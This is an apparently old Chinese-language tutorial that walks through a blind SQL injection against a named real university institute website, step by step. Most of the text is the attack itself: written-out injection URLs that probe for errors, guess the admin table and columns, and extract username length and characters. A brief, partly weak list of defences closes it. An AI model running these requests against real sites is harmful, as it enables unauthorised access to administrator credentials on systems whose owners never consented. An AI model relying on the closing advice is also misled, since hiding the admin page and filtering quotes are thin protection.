作者:赛冰河
我都不知是什么时候写的了,这几天整理电脑时才翻出来,,看看思路吧,其它的没有什么价值。
========================================================
说明:转载还请注明作者:赛冰河
另外,为我这次过程分析更为真实,各读者更能较好地理解,故用真实IP分析
这次注入是真实的网站是:http://202.114.71.194/ 武汉大学环境法研究所,为此,望大家不要搞破
坏,仅仅是为学习,如有什么意外的地方,概与本人无关。
========================================================
今天我主要是分分析的是SQL注入,但顺便也会对ACCESS的判断简单说说,并且提供一些网站安全
的建议。由于现在好多网站安上内容过滤的防火墙,然后编程人员稍加注意,另外管理员负责一点的
话,我们是很难用这些漏洞的,还是那句话,只要防的时候你多动一下手的话,黑客可能也没有那么
多的耐心在那你搞你了,唉,偏偏你就。。。。。。。。。
简单地说说注入,就是攻击者在IE中提交一些代码,而这些代码可能在加入查询时作为程序的
一些语言的命令,就是加入后造成现在程序运行的与你原来的运行过程相背离,从而进行攻击。我
这里今天讲的是SQL,所以你也得有一定的SQL语言的基础。另外就是要用到返回的错误的不同,而
进行判断,所以你得把你的IE设定一下,工具--->Internet选项-->高级-->显示友好 HTTP错误信息前
面的勾去掉。这样就会返回错误的提示了。
首先,可能大家也知,就是试试单引号’了。到http://202.114.71.194/的首页看一下吧,任意
打开一个页面看看,我打开的是http://202.114.71.194/show.asp?ID=763' 返回的如下:
----------------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/show.asp,行47
---------------------------------------------------------------------------------------
也许有人会说,你运气这样好,这个网站就能注入呀,呵呵,我是讲注入嘛,其实早就找到它有这
个漏洞了的,今天为了给大家讲嘛就用它了-----------编程人员的一大失误
如果你搞另外的网站返回的是:
----------------------------------------------------------------------------------------
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=56'' 中。
/showdetail.asp,行8
----------------------------------------------------------------------------------------
这就是ACCESS的数据库了。
同时这一步中我们一般还要试试下面两个:
http://202.114.71.194/show.asp?ID=763%20and%201=1
http://202.114.71.194/show.asp?ID=763%20and%201=2
这第句显然成立的,返回的是http://202.114.71.194/show.asp?ID=763一样的,而第二句当然不成立
返回是没有这页面。(这里的%20要是菜鸟不知的话,我说说,就是空格嘛)
第二步,在第一步中我们知道了它是用的ASP+SQL的,我们当然就是要找找它的管理员的用户名与
密码了,要找这,当然要找到他是把这用户名与密码放在什么表名中的。那如何知道表名呢,主要是看
源文件,还有就是猜了,大多是有规则的。同时还要找找他的管理入口哟,有一切可能的手段去找吧
可以猜一下如longin.asp,admin.asp,ad_login.asp,等,我猜到这个网站的入口是:
http://202.114.71.194/login.asp 其实眼快的话,也可看看它们网站的主页上不是有个管理入口吗?
还不用你去猜了-------管理员的一大失误
在这一次中,我们还要找到他的管理员表放在什么表中,试一下
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20*%20from%20login)
在这你可以试一下把login换成user ,admin,等等猜一下,要是返回与这个页面是一样的话,那你就
猜对了。这个页面是http://202.114.71.194/show.asp?ID=763
第三步嘛,有了表名,当然就是猜表里的列了,一般这里是有3列吧,ID号,用户名,密码
那就由下面的试了
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login)
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20username%20from%20login)
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20password%20from%20login)
经过N次的提交,终于找到了(做黑客也不容易呀,干苦力活)
我试出里边的用户列为user ,密码列为 password.
第四步嘛,来猜一下这个表中的有哪些ID号是存在的了,语句是
http://202.114.71.194/show.asp?ID=763%20and%20exists%20(select%20id%20from%20login%20where
%20id=1) 在这里你可以把这个ID=1换成ID=2,3,4,5.......试了
第五步,来猜用户名的长度了,
http://202.114.71.194/show.asp?ID=763and%20exists%20(select%20id%20from%20login%20where
%20len(user)=1%20and%20id=1)
这里要试的是len(username)=1 ,2,3,4......试到返回正确为止,这步较容易,最多试个10次左右吧
我这次试出它的长度为7(当然我试的是ID=1的那个用户了)
第六步,来猜测它里边的用户名的各个组成字母了,呵,要不是字母,而是汉字可就惨了
http://202.114.71.194/show.asp?ID=763%20exists%20
(select%20id%20from%20login%20where%20asc(mid(user,1,1))>110%20and%20id=1)
有时还可能用下边的来试
http://202.114.71.194/show.asp?ID=763%20exists%20
(select%20id%20from%20login%20where%20left(user,1)=a)
这里主要就是这样的试left(user,1)=a,b,c,d,........... 了
在这里,工作量可大着呢,我试了几个,就没有试了,好像这里能用一个程序实现的,只是我现在
想不起在哪儿见过了,要是你在这里有更好的办法试的话,也请给我说说,教教我嘛,相互学习
(呵呵,要是谁想要我这徒弟,我真是愿意)
最后一步,把USER换为password,把密码也搞出来了,,但我没有试出,还是工作量大,所以此文
也就是简单介绍一下注入。
下面我就简单说一下,对此类问题一般如何防范了。
1、编程时把单引号等特殊符号过滤掉,同时可能的话,加上限定用户通过IE输入长度的控制
这个可以由编程人员或都防火墙实现
2、管理员的事了,把管理入口改过没有规则的名字,加以隐藏掉,让攻击者找不到注入的地方
特别是不要明目张胆的把管理入口放在主页,这不是明明白白的给攻击者说,来攻我这里吗 ?
3、可能的话,把管理入口那个页面删掉,这样虽然管理时是有点不方便,要用的时候再把把它传
上去。这样就实现了没有入口。
好了,说了这么多,也应该算完了,要是文章中有什么不对的地方,希望你能够指出。
我的邮箱是anmeihong@sina.com 另外,就是本次文章中由于防读者就用去攻击这个网站,在其中
我有时把试出的正确结果换了一下的,还希望你不要搞破坏